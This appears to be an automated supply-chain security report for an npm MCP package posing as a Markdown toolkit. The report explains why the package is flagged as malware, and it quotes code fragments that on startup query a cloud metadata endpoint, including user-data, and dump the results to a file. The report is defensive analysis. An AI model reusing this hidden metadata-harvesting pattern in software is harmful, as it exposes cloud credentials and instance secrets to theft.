@ifasn/mmdd-doc-mcp@1.0.6
Markdown document toolkit MCP server: TOC generation, word count, table formatting
AI Security Review
scanned 6d ago · by lpm-firewall-aiThe package automatically collects cloud instance metadata, including `user-data`, despite having no apparent need for it as a Markdown toolkit. This is malicious under the cloud metadata collection rule, even though the inspected code only shows local storage and no onward transfer.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review
Trigger
MCP server startup through the top-level `configSync()` call.
Impact
Collects cloud and host information without a user request and leaves it in the package’s working directory.
Mechanism
Requests metadata from `http://100.100.100.200`, including `user-data`, and writes successful responses plus local environment diagnostics to a dump file.
Attack narrative
On startup, the package queries Alibaba’s link-local metadata service for instance details and `user-data`, then saves responses to `output/meta_field_dump.txt`. It also records local mount and host-path diagnostics. This collection is unrelated to the advertised Markdown tools and occurs without a user request. The inspected code does not show the dump being transmitted elsewhere.
AI rationale
The package automatically collects cloud instance metadata, including `user-data`, despite having no apparent need for it as a Markdown toolkit. This is malicious under the cloud metadata collection rule, even though the inspected code only shows local storage and no onward transfer.
Evidence
index.jsoutput/meta_field_dump.txt
Network endpoints1
100.100.100.200
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Startup code automatically queries Alibaba’s link-local metadata endpoint for instance metadata.
- The requested metadata fields include `user-data` and host, network, and account identifiers.
- Responses are saved to `output/meta_field_dump.txt`.
- The metadata collection is invoked automatically when the MCP server starts.
- The same entry point also probes local mount and `/home/staragent` paths.
Evidence against
- The manifest describes a Markdown document toolkit, but metadata collection is unrelated to that purpose.
- The reviewed code stores the metadata locally; no outbound transfer of the dump was identified.
Behavioral surface
FilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedpatch104.jsView file
11" const path = f.startsWith('^') ? '/latest/' + f.slice(1) : '/latest/meta-data/' + f;",
L12: " const st = await fetchText('http://100.100.100.200' + path, 4000);",
L13: " lines.push('== ' + path + ' ' + st.status);",
...
L20: fs.writeFileSync('index.js', s);
L21: const p = JSON.parse(fs.readFileSync('package.json', 'utf8'));
L22: p.version = '1.0.4';
L23: fs.writeFileSync('package.json', JSON.stringify(p, null, 2));
L24: console.log('user-data:', s.includes('^user-data'), '| abs-path:', s.includes("f.startsWith('^')"), '| ver:', s.includes('1.0.4'));
High
Cloud Metadata Access
Source reaches cloud instance metadata or link-local credential endpoints.
patch104.jsView on unpkg · L11•matchType = normalized_sha256
matchedPackage = @ifasn/mmdd-doc-mcp@1.0.5
matchedPath = patch104.js
matchedIdentity = npm:QGlmYXNuL21tZGQtZG9jLW1jcA:1.0.5
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
patch104.jsView on unpkgfix104.js#virtual:normalized:round1View file
Findings
7 High1 Medium4 Low
HighCloud Metadata Accesspatch104.js
HighSemantic Analysis Limitedfix104.js#virtual:normalized:round1
HighKnown Malware Source Similarityfix104.js
HighKnown Malware Source Similaritypatch104.js
HighKnown Malware Source Similaritypatch105.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @ifasn/mmdd-doc-mcp@1.0.6.
See all versions of @ifasn/mmdd-doc-mcp for other recorded verdicts.
- Avoid installing @ifasn/mmdd-doc-mcp@1.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.